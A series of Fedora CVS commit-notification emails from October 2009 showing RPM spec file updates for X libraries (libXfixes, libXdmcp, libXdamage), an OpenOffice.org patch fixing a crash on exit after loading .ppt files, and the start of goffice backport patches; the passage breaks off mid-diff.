+install -m 644 -p %{SOURCE1} $RPM_BUILD_ROOT%{_datadir}/icons/default/index.theme
 
 # We intentionally don't ship *.la files
 rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
@@ -87,6 +87,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/Xcursor*.3*
 
 %changelog
+* Wed Oct 21 2009 Parag <paragn at fedoraproject.org> - 1.1.10-3
+- Merge-Review #226066
+- make is not verbose
+- preserve timestamp of index.theme
+
 * Thu Oct 08 2009 Parag <paragn at fedoraproject.org> - 1.1.10-2
 - Merge-Review #226066
 - Removed XFree86-libs, xorg-x11-libs as Obsoletes



From paragn at fedoraproject.org  Wed Oct 21 09:02:14 2009
From: paragn at fedoraproject.org (paragn)
Date: Wed, 21 Oct 2009 09:02:14 +0000 (UTC)
Subject: rpms/libXfixes/devel libXfixes.spec,1.25,1.26
Message-ID: <20091021090214.C433011C00E8@cvs1.fedora.phx.redhat.com>

Author: paragn

Update of /cvs/pkgs/rpms/libXfixes/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32145

Modified Files:
	libXfixes.spec 
Log Message:
* Wed Oct 21 2009 Parag <paragn at fedoraproject.org> - 4.0.4-2
- Merge-Review #226071
- make is not verbose




Index: libXfixes.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXfixes/devel/libXfixes.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- libXfixes.spec	13 Oct 2009 15:37:52 -0000	1.25
+++ libXfixes.spec	21 Oct 2009 09:02:13 -0000	1.26
@@ -1,7 +1,7 @@
 Summary: X Fixes library
 Name: libXfixes
 Version: 4.0.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -28,12 +28,12 @@ libXfixes development package
 
 %build
 %configure --disable-static
-make %{?_smp_mflags}
+make V=1 %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
 
-make install DESTDIR=$RPM_BUILD_ROOT
+make install DESTDIR=$RPM_BUILD_ROOT INSTALL="install -p"
 
 # We intentionally don't ship *.la files
 rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
@@ -58,6 +58,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/Xfixes.3*
 
 %changelog
+* Wed Oct 21 2009 Parag <paragn at fedoraproject.org> - 4.0.4-2
+- Merge-Review #226071
+- make is not verbose
+
 * Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 4.0.4-1
 - libXfixes 4.0.4
 



From caolanm at fedoraproject.org  Wed Oct 21 09:04:38 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Wed, 21 Oct 2009 09:04:38 +0000 (UTC)
Subject: rpms/openoffice.org/F-11
	openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch,
	NONE, 1.1 openoffice.org.spec, 1.1936, 1.1937
Message-ID: <20091021090438.5126B11C00E8@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1083/F-11

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch 
Log Message:
Resolves: rhbz#529746 crash on exit after loading .ppt (caolanm)

openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch:
 inc/svx/svdfppt.hxx          |    2 +-
 source/msfilter/msdffimp.cxx |   28 ++++++++++++++++++----------
 source/svdraw/svdfppt.cxx    |   13 ++++++++++++-
 3 files changed, 31 insertions(+), 12 deletions(-)

--- NEW FILE openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch ---
diff -ru svx.orig/inc/svx/svdfppt.hxx svx/inc/svx/svdfppt.hxx
--- svx.orig/inc/svx/svdfppt.hxx	2009-10-21 09:45:21.000000000 +0100
+++ svx/inc/svx/svdfppt.hxx	2009-10-21 09:45:50.000000000 +0100
@@ -610,7 +610,7 @@
 										UINT32& nMappedFontId, Font& rFont, char nDefault ) const;
     const PptDocumentAtom&				GetDocumentAtom() const { return aDocAtom; }
     virtual const PptSlideLayoutAtom*	GetSlideLayoutAtom() const;
-	SdrObject*	CreateTable( SdrObject* pGroupObject, sal_uInt32* pTableArry, SvxMSDffSolverContainer* ) const;
+	SdrObject*	CreateTable( SdrObject* pGroupObject, sal_uInt32* pTableArry, SvxMSDffSolverContainer* );
 };
 
 ////////////////////////////////////////////////////////////////////////////////////////////////////
diff -ru svx.orig/source/msfilter/msdffimp.cxx svx/source/msfilter/msdffimp.cxx
--- svx.orig/source/msfilter/msdffimp.cxx	2009-10-21 09:45:12.000000000 +0100
+++ svx/source/msfilter/msdffimp.cxx	2009-10-21 09:52:13.000000000 +0100
@@ -7957,25 +7957,31 @@
         delete pWrapPolygon;
 }
 
-/* vi:set tabstop=4 shiftwidth=4 expandtab: */
-
 void SvxMSDffManager::insertShapeId( sal_Int32 nShapeId, SdrObject* pShape )
 {
 	maShapeIdContainer[nShapeId] = pShape;
 }
 
-void SvxMSDffManager::removeShapeId( SdrObject* pShape )
+namespace
 {
-	SvxMSDffShapeIdContainer::iterator aIter( maShapeIdContainer.begin() );
-	const SvxMSDffShapeIdContainer::iterator aEnd( maShapeIdContainer.end() );
-	while( aIter != aEnd )
+	class IsShape : public std::unary_function<SvxMSDffShapeIdContainer::value_type, bool>
 	{
-		if( (*aIter).second == pShape )
+		const SdrObject *mpShape;
+	public:
+		IsShape(const SdrObject *pShape) : mpShape(pShape) {}
+		bool operator()(const SvxMSDffShapeIdContainer::value_type& rVal)
 		{
-			maShapeIdContainer.erase( aIter );
-			break;
+			return rVal.second == mpShape;
 		}
-	}
+	};
+}
+
+void SvxMSDffManager::removeShapeId( SdrObject* pShape )
+{
+        const SvxMSDffShapeIdContainer::iterator aEnd( maShapeIdContainer.end() );
+	SvxMSDffShapeIdContainer::iterator aIter = std::find_if(maShapeIdContainer.begin(), aEnd, IsShape(pShape));
+	if (aIter != aEnd)
+		maShapeIdContainer.erase( aIter );
 }
 
 SdrObject* SvxMSDffManager::getShapeForId( sal_Int32 nShapeId )
@@ -7983,3 +7989,5 @@
 	SvxMSDffShapeIdContainer::iterator aIter( maShapeIdContainer.find(nShapeId) );
 	return aIter != maShapeIdContainer.end() ? (*aIter).second : 0;
 }
+
+/* vi:set tabstop=4 shiftwidth=4 expandtab: */
diff -ru svx.orig/source/svdraw/svdfppt.cxx svx/source/svdraw/svdfppt.cxx
--- svx.orig/source/svdraw/svdfppt.cxx	2009-10-21 09:45:12.000000000 +0100
+++ svx/source/svdraw/svdfppt.cxx	2009-10-21 09:45:37.000000000 +0100
@@ -7492,7 +7492,7 @@
 	}
 }
 
-SdrObject* SdrPowerPointImport::CreateTable( SdrObject* pGroup, sal_uInt32* pTableArry, SvxMSDffSolverContainer* pSolverContainer ) const
+SdrObject* SdrPowerPointImport::CreateTable( SdrObject* pGroup, sal_uInt32* pTableArry, SvxMSDffSolverContainer* pSolverContainer )
 {
 	SdrObject* pRet = pGroup;
 	sal_uInt32 nRows = pTableArry[ 1 ];
@@ -7585,6 +7585,17 @@
 				pTable->uno_unlock();
 				pTable->SetSnapRect( pGroup->GetSnapRect() );
 				pRet = pTable;
+
+
+				//Remove Objects from shape map
+				SdrObjListIter aIter( *pGroup, IM_DEEPWITHGROUPS );
+				while( aIter.IsMore() )
+				{
+					SdrObject* pPartObj = aIter.Next();
+					removeShapeId( pPartObj );
+				}
+
+
 				SdrObject::Free( pGroup );
 			}
 			catch( Exception& )


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/F-11/openoffice.org.spec,v
retrieving revision 1.1936
retrieving revision 1.1937
diff -u -p -r1.1936 -r1.1937
--- openoffice.org.spec	23 Sep 2009 15:09:28 -0000	1.1936
+++ openoffice.org.spec	21 Oct 2009 09:04:37 -0000	1.1937
@@ -157,6 +157,7 @@ Patch81: workspace.os131.patch
 Patch82: workspace.vcl102.patch
 Patch83: openoffice.org-3.1.1.ooo104157.svx.crashonencryptparse.patch
 Patch84: workspace.aw073.patch
+Patch85: openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1672,6 +1673,7 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch82 -p0 -b .workspace.vcl102.patch
 %patch83 -p0 -b .ooo104157.svx.crashonencryptparse.patch
 %patch84 -p0 -b .workspace.aw073.patch
+%patch85 -p0 -b .ooo106130.svx.removedeletedshapes.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4175,8 +4177,9 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
-* Wed Sep 23 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.4
+* Wed Oct 21 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.4
 - Resolves: rhbz#522839 crash on exit after loading .doc
+- Resolves: rhbz#529746 crash on exit after loading .ppt
 
 * Mon Sep 07 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.3
 - Resolves: rhbz#521460 - wrong UI label for A3/A5 page sizes in translations



From caolanm at fedoraproject.org  Wed Oct 21 09:04:38 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Wed, 21 Oct 2009 09:04:38 +0000 (UTC)
Subject: rpms/openoffice.org/F-12
	openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch,
	NONE, 1.1 openoffice.org.spec, 1.2022, 1.2023
Message-ID: <20091021090438.E2FB111C00E8@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1083/F-12

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch 
Log Message:
Resolves: rhbz#529746 crash on exit after loading .ppt (caolanm)

openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch:
 inc/svx/svdfppt.hxx          |    2 +-
 source/msfilter/msdffimp.cxx |   28 ++++++++++++++++++----------
 source/svdraw/svdfppt.cxx    |   13 ++++++++++++-
 3 files changed, 31 insertions(+), 12 deletions(-)

--- NEW FILE openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch ---
diff -ru svx.orig/inc/svx/svdfppt.hxx svx/inc/svx/svdfppt.hxx
--- svx.orig/inc/svx/svdfppt.hxx	2009-10-21 09:45:21.000000000 +0100
+++ svx/inc/svx/svdfppt.hxx	2009-10-21 09:45:50.000000000 +0100
@@ -610,7 +610,7 @@
 										UINT32& nMappedFontId, Font& rFont, char nDefault ) const;
     const PptDocumentAtom&				GetDocumentAtom() const { return aDocAtom; }
     virtual const PptSlideLayoutAtom*	GetSlideLayoutAtom() const;
-	SdrObject*	CreateTable( SdrObject* pGroupObject, sal_uInt32* pTableArry, SvxMSDffSolverContainer* ) const;
+	SdrObject*	CreateTable( SdrObject* pGroupObject, sal_uInt32* pTableArry, SvxMSDffSolverContainer* );
 };
 
 ////////////////////////////////////////////////////////////////////////////////////////////////////
diff -ru svx.orig/source/msfilter/msdffimp.cxx svx/source/msfilter/msdffimp.cxx
--- svx.orig/source/msfilter/msdffimp.cxx	2009-10-21 09:45:12.000000000 +0100
+++ svx/source/msfilter/msdffimp.cxx	2009-10-21 09:52:13.000000000 +0100
@@ -7957,25 +7957,31 @@
         delete pWrapPolygon;
 }
 
-/* vi:set tabstop=4 shiftwidth=4 expandtab: */
-
 void SvxMSDffManager::insertShapeId( sal_Int32 nShapeId, SdrObject* pShape )
 {
 	maShapeIdContainer[nShapeId] = pShape;
 }
 
-void SvxMSDffManager::removeShapeId( SdrObject* pShape )
+namespace
 {
-	SvxMSDffShapeIdContainer::iterator aIter( maShapeIdContainer.begin() );
-	const SvxMSDffShapeIdContainer::iterator aEnd( maShapeIdContainer.end() );
-	while( aIter != aEnd )
+	class IsShape : public std::unary_function<SvxMSDffShapeIdContainer::value_type, bool>
 	{
-		if( (*aIter).second == pShape )
+		const SdrObject *mpShape;
+	public:
+		IsShape(const SdrObject *pShape) : mpShape(pShape) {}
+		bool operator()(const SvxMSDffShapeIdContainer::value_type& rVal)
 		{
-			maShapeIdContainer.erase( aIter );
-			break;
+			return rVal.second == mpShape;
 		}
-	}
+	};
+}
+
+void SvxMSDffManager::removeShapeId( SdrObject* pShape )
+{
+        const SvxMSDffShapeIdContainer::iterator aEnd( maShapeIdContainer.end() );
+	SvxMSDffShapeIdContainer::iterator aIter = std::find_if(maShapeIdContainer.begin(), aEnd, IsShape(pShape));
+	if (aIter != aEnd)
+		maShapeIdContainer.erase( aIter );
 }
 
 SdrObject* SvxMSDffManager::getShapeForId( sal_Int32 nShapeId )
@@ -7983,3 +7989,5 @@
 	SvxMSDffShapeIdContainer::iterator aIter( maShapeIdContainer.find(nShapeId) );
 	return aIter != maShapeIdContainer.end() ? (*aIter).second : 0;
 }
+
+/* vi:set tabstop=4 shiftwidth=4 expandtab: */
diff -ru svx.orig/source/svdraw/svdfppt.cxx svx/source/svdraw/svdfppt.cxx
--- svx.orig/source/svdraw/svdfppt.cxx	2009-10-21 09:45:12.000000000 +0100
+++ svx/source/svdraw/svdfppt.cxx	2009-10-21 09:45:37.000000000 +0100
@@ -7492,7 +7492,7 @@
 	}
 }
 
-SdrObject* SdrPowerPointImport::CreateTable( SdrObject* pGroup, sal_uInt32* pTableArry, SvxMSDffSolverContainer* pSolverContainer ) const
+SdrObject* SdrPowerPointImport::CreateTable( SdrObject* pGroup, sal_uInt32* pTableArry, SvxMSDffSolverContainer* pSolverContainer )
 {
 	SdrObject* pRet = pGroup;
 	sal_uInt32 nRows = pTableArry[ 1 ];
@@ -7585,6 +7585,17 @@
 				pTable->uno_unlock();
 				pTable->SetSnapRect( pGroup->GetSnapRect() );
 				pRet = pTable;
+
+
+				//Remove Objects from shape map
+				SdrObjListIter aIter( *pGroup, IM_DEEPWITHGROUPS );
+				while( aIter.IsMore() )
+				{
+					SdrObject* pPartObj = aIter.Next();
+					removeShapeId( pPartObj );
+				}
+
+
 				SdrObject::Free( pGroup );
 			}
 			catch( Exception& )


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/F-12/openoffice.org.spec,v
retrieving revision 1.2022
retrieving revision 1.2023
diff -u -p -r1.2022 -r1.2023
--- openoffice.org.spec	20 Oct 2009 19:09:47 -0000	1.2022
+++ openoffice.org.spec	21 Oct 2009 09:04:38 -0000	1.2023
@@ -166,6 +166,7 @@ Patch89: openoffice.org-3.1.1.oooXXXXXX.
 Patch90: openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch
 Patch91: openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch
 Patch92: workspace.impress178.patch
+Patch93: openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1718,6 +1719,7 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch90 -p0 -b .ooo105988.svx.a11ycrash.patch
 %patch91 -p0 -b .oooXXXXXX.vcl.dontresolve.patch
 %patch92 -p0 -b .workspace.impress178.patch
+%patch93 -p0 -b .ooo106130.svx.removedeletedshapes.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4251,8 +4253,9 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
-* Tue Oct 20 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.14
+* Wed Oct 21 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.14
 - Resolves: ooo#103757 custom shape cut and paste (caolanm)
+- Resolves: rhbz#529746 crash on exit after loading .ppt (caolanm)
 
 * Mon Oct 19 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.13
 - Resolves: ooo#105988 a11y crash in impress (caolanm)



From caolanm at fedoraproject.org  Wed Oct 21 09:04:39 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Wed, 21 Oct 2009 09:04:39 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch,
	NONE, 1.1 openoffice.org.spec, 1.2048, 1.2049
Message-ID: <20091021090439.6D00A11C00E8@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1083/devel

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch 
Log Message:
Resolves: rhbz#529746 crash on exit after loading .ppt (caolanm)

openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch:
 inc/svx/svdfppt.hxx          |    2 +-
 source/msfilter/msdffimp.cxx |   28 ++++++++++++++++++----------
 source/svdraw/svdfppt.cxx    |   13 ++++++++++++-
 3 files changed, 31 insertions(+), 12 deletions(-)

--- NEW FILE openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch ---
diff -ru svx.orig/inc/svx/svdfppt.hxx svx/inc/svx/svdfppt.hxx
--- svx.orig/inc/svx/svdfppt.hxx	2009-10-21 09:45:21.000000000 +0100
+++ svx/inc/svx/svdfppt.hxx	2009-10-21 09:45:50.000000000 +0100
@@ -610,7 +610,7 @@
 										UINT32& nMappedFontId, Font& rFont, char nDefault ) const;
     const PptDocumentAtom&				GetDocumentAtom() const { return aDocAtom; }
     virtual const PptSlideLayoutAtom*	GetSlideLayoutAtom() const;
-	SdrObject*	CreateTable( SdrObject* pGroupObject, sal_uInt32* pTableArry, SvxMSDffSolverContainer* ) const;
+	SdrObject*	CreateTable( SdrObject* pGroupObject, sal_uInt32* pTableArry, SvxMSDffSolverContainer* );
 };
 
 ////////////////////////////////////////////////////////////////////////////////////////////////////
diff -ru svx.orig/source/msfilter/msdffimp.cxx svx/source/msfilter/msdffimp.cxx
--- svx.orig/source/msfilter/msdffimp.cxx	2009-10-21 09:45:12.000000000 +0100
+++ svx/source/msfilter/msdffimp.cxx	2009-10-21 09:52:13.000000000 +0100
@@ -7957,25 +7957,31 @@
         delete pWrapPolygon;
 }
 
-/* vi:set tabstop=4 shiftwidth=4 expandtab: */
-
 void SvxMSDffManager::insertShapeId( sal_Int32 nShapeId, SdrObject* pShape )
 {
 	maShapeIdContainer[nShapeId] = pShape;
 }
 
-void SvxMSDffManager::removeShapeId( SdrObject* pShape )
+namespace
 {
-	SvxMSDffShapeIdContainer::iterator aIter( maShapeIdContainer.begin() );
-	const SvxMSDffShapeIdContainer::iterator aEnd( maShapeIdContainer.end() );
-	while( aIter != aEnd )
+	class IsShape : public std::unary_function<SvxMSDffShapeIdContainer::value_type, bool>
 	{
-		if( (*aIter).second == pShape )
+		const SdrObject *mpShape;
+	public:
+		IsShape(const SdrObject *pShape) : mpShape(pShape) {}
+		bool operator()(const SvxMSDffShapeIdContainer::value_type& rVal)
 		{
-			maShapeIdContainer.erase( aIter );
-			break;
+			return rVal.second == mpShape;
 		}
-	}
+	};
+}
+
+void SvxMSDffManager::removeShapeId( SdrObject* pShape )
+{
+        const SvxMSDffShapeIdContainer::iterator aEnd( maShapeIdContainer.end() );
+	SvxMSDffShapeIdContainer::iterator aIter = std::find_if(maShapeIdContainer.begin(), aEnd, IsShape(pShape));
+	if (aIter != aEnd)
+		maShapeIdContainer.erase( aIter );
 }
 
 SdrObject* SvxMSDffManager::getShapeForId( sal_Int32 nShapeId )
@@ -7983,3 +7989,5 @@
 	SvxMSDffShapeIdContainer::iterator aIter( maShapeIdContainer.find(nShapeId) );
 	return aIter != maShapeIdContainer.end() ? (*aIter).second : 0;
 }
+
+/* vi:set tabstop=4 shiftwidth=4 expandtab: */
diff -ru svx.orig/source/svdraw/svdfppt.cxx svx/source/svdraw/svdfppt.cxx
--- svx.orig/source/svdraw/svdfppt.cxx	2009-10-21 09:45:12.000000000 +0100
+++ svx/source/svdraw/svdfppt.cxx	2009-10-21 09:45:37.000000000 +0100
@@ -7492,7 +7492,7 @@
 	}
 }
 
-SdrObject* SdrPowerPointImport::CreateTable( SdrObject* pGroup, sal_uInt32* pTableArry, SvxMSDffSolverContainer* pSolverContainer ) const
+SdrObject* SdrPowerPointImport::CreateTable( SdrObject* pGroup, sal_uInt32* pTableArry, SvxMSDffSolverContainer* pSolverContainer )
 {
 	SdrObject* pRet = pGroup;
 	sal_uInt32 nRows = pTableArry[ 1 ];
@@ -7585,6 +7585,17 @@
 				pTable->uno_unlock();
 				pTable->SetSnapRect( pGroup->GetSnapRect() );
 				pRet = pTable;
+
+
+				//Remove Objects from shape map
+				SdrObjListIter aIter( *pGroup, IM_DEEPWITHGROUPS );
+				while( aIter.IsMore() )
+				{
+					SdrObject* pPartObj = aIter.Next();
+					removeShapeId( pPartObj );
+				}
+
+
 				SdrObject::Free( pGroup );
 			}
 			catch( Exception& )


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2048
retrieving revision 1.2049
diff -u -p -r1.2048 -r1.2049
--- openoffice.org.spec	20 Oct 2009 19:09:47 -0000	1.2048
+++ openoffice.org.spec	21 Oct 2009 09:04:39 -0000	1.2049
@@ -120,6 +120,7 @@ Patch46: openoffice.org-3.2.0.rhbz521460
 Patch47: openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch
 Patch48: openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch
 Patch49: workspace.impress178.patch
+Patch50: openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1629,6 +1630,7 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch47 -p0 -b .oooXXXXXX.vcl.dontresolve.patch
 %patch48 -p0 -b .ooo106032.linguistic.defaulttoplain.patch
 %patch49 -p0 -b .workspace.impress178.patch
+%patch50 -p0 -b .ooo106130.svx.removedeletedshapes.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4129,8 +4131,9 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
-* Tue Oct 20 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.5.UNBUILT
+* Wed Oct 21 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.5.UNBUILT
 - Resolves: ooo#103757 custom shape cut and paste (caolanm)
+- Resolves: rhbz#529746 crash on exit after loading .ppt (caolanm)
 
 * Mon Oct 19 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.4
 - Resolves: rhbz#521460 add openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch (caolanm)



From paragn at fedoraproject.org  Wed Oct 21 09:12:08 2009
From: paragn at fedoraproject.org (paragn)
Date: Wed, 21 Oct 2009 09:12:08 +0000 (UTC)
Subject: rpms/libXdmcp/devel libXdmcp.spec,1.27,1.28
Message-ID: <20091021091208.623E311C00E8@cvs1.fedora.phx.redhat.com>

Author: paragn

Update of /cvs/pkgs/rpms/libXdmcp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3577

Modified Files:
	libXdmcp.spec 
Log Message:
* Wed Oct 21 2009 Parag <paragn at fedoraproject.org> - 1.0.3-3
- Merge-Review #226068
- make is not verbose




Index: libXdmcp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXdmcp/devel/libXdmcp.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- libXdmcp.spec	8 Oct 2009 10:37:26 -0000	1.27
+++ libXdmcp.spec	21 Oct 2009 09:12:06 -0000	1.28
@@ -1,7 +1,7 @@
 Summary: X Display Manager Control Protocol library
 Name: libXdmcp
 Version: 1.0.3
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -12,7 +12,7 @@ Source0: ftp://ftp.x.org/pub/individual/
 BuildRequires: xorg-x11-proto-devel
 
 %description
-X Display Manager Control Protocol library
+X Display Manager Control Protocol library.
 
 %package devel
 Summary: Development files for %{name}
@@ -29,7 +29,7 @@ libXdmcp development package.
 
 %build
 %configure --disable-static
-make %{?_smp_mflags}
+make V=1 %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -47,17 +47,22 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS COPYING ChangeLog
+%doc AUTHORS COPYING ChangeLog Wraphelp.README.crypto
 %{_libdir}/libXdmcp.so.6
 %{_libdir}/libXdmcp.so.6.0.0
 
 %files devel
 %defattr(-,root,root,-)
+%doc README
 %{_includedir}/X11/Xdmcp.h
 %{_libdir}/libXdmcp.so
 %{_libdir}/pkgconfig/xdmcp.pc
 
 %changelog
+* Wed Oct 21 2009 Parag <paragn at fedoraproject.org> - 1.0.3-3
+- Merge-Review #226068
+- make is not verbose
+
 * Thu Oct 08 2009 Parag <paragn at fedoraproject.org> - 1.0.3-2
 - Merge-Review #226068
 - Removed BR:pkgconfig



From paragn at fedoraproject.org  Wed Oct 21 09:22:15 2009
From: paragn at fedoraproject.org (paragn)
Date: Wed, 21 Oct 2009 09:22:15 +0000 (UTC)
Subject: rpms/libXdamage/devel libXdamage.spec,1.26,1.27
Message-ID: <20091021092215.3D2B111C00E8@cvs1.fedora.phx.redhat.com>

Author: paragn

Update of /cvs/pkgs/rpms/libXdamage/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6114

Modified Files:
	libXdamage.spec 
Log Message:
* Wed Oct 21 2009 Parag <paragn at fedoraproject.org> - 1.1.2-2
- Merge-Review #226067
- make is not verbose




Index: libXdamage.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXdamage/devel/libXdamage.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- libXdamage.spec	7 Oct 2009 18:11:40 -0000	1.26
+++ libXdamage.spec	21 Oct 2009 09:22:14 -0000	1.27
@@ -1,7 +1,7 @@
 Summary: X Damage extension library
 Name: libXdamage
 Version: 1.1.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -13,7 +13,7 @@ BuildRequires: pkgconfig(xfixes)
 BuildRequires: pkgconfig(damageproto) >= 1.1.0
 
 %description
-X.Org X11 libXdamage runtime library
+X.Org X11 libXdamage runtime library.
 
 %package devel
 Summary: Development files for %{name}
@@ -21,14 +21,14 @@ Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 
 %description devel
-X.Org X11 libXdamage development package
+X.Org X11 libXdamage development package.
 
 %prep
 %setup -q
 
 %build
 %configure --disable-static
-make %{?_smp_mflags}
+make V=1 %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -57,6 +57,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/xdamage.pc
 
 %changelog
+* Wed Oct 21 2009 Parag <paragn at fedoraproject.org> - 1.1.2-2
+- Merge-Review #226067
+- make is not verbose
+
 * Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.1.2-1
 - libXdamage 1.1.2
 



From robert at fedoraproject.org  Wed Oct 21 09:41:09 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Wed, 21 Oct 2009 09:41:09 +0000 (UTC)
Subject: rpms/goffice/F-10 goffice-0.6.6-backport-20090219.patch, NONE,
	1.1 goffice-0.6.6-backport-20090306.patch, NONE,
	1.1 goffice-0.6.6-backport-20090501.patch, NONE, 1.1 .cvsignore,
	1.9, 1.10 goffice.spec, 1.20, 1.21 sources, 1.9, 1.10
Message-ID: <20091021094110.0C72F11C00E8@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/goffice/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12181/F-10

Modified Files:
	.cvsignore goffice.spec sources 
Added Files:
	goffice-0.6.6-backport-20090219.patch 
	goffice-0.6.6-backport-20090306.patch 
	goffice-0.6.6-backport-20090501.patch 
Log Message:
Applied 3 patches from the 0.6 branch (#503068, #505001)


goffice-0.6.6-backport-20090219.patch:
 ChangeLog                        |    5 +++++
 b/ChangeLog                      |    4 ++++
 b/NEWS                           |    6 ++++++
 b/plugins/plot_barcol/gog-1.5d.c |    2 --
 4 files changed, 15 insertions(+), 2 deletions(-)

--- NEW FILE goffice-0.6.6-backport-20090219.patch ---
>From a368ebc219318c7154b4d2cfb6d1f4027a62016f Mon Sep 17 00:00:00 2001
From: Jean Brefort <jean.brefort at normalesup.org>
Date: Thu, 19 Feb 2009 19:27:25 +0000
Subject: don't set a value to an invalid length variable. [#572354]

2009-02-19  Jean Brefort  <jean.brefort at normalesup.org>

	* plugins/plot_barcol/gog-1.5d.c: (gog_plot1_5d_update): don't set
	a value to an invalid length variable. [#572354]


svn path=/branches/goffice-0-6/; revision=2313
---
diff --git a/ChangeLog b/ChangeLog
index 8db2fe7..a102d3c 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,5 +1,9 @@
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
+	* configure.in : post release bump
+
+2009-01-18  Jody Goldberg <jody at gnome.org>
+
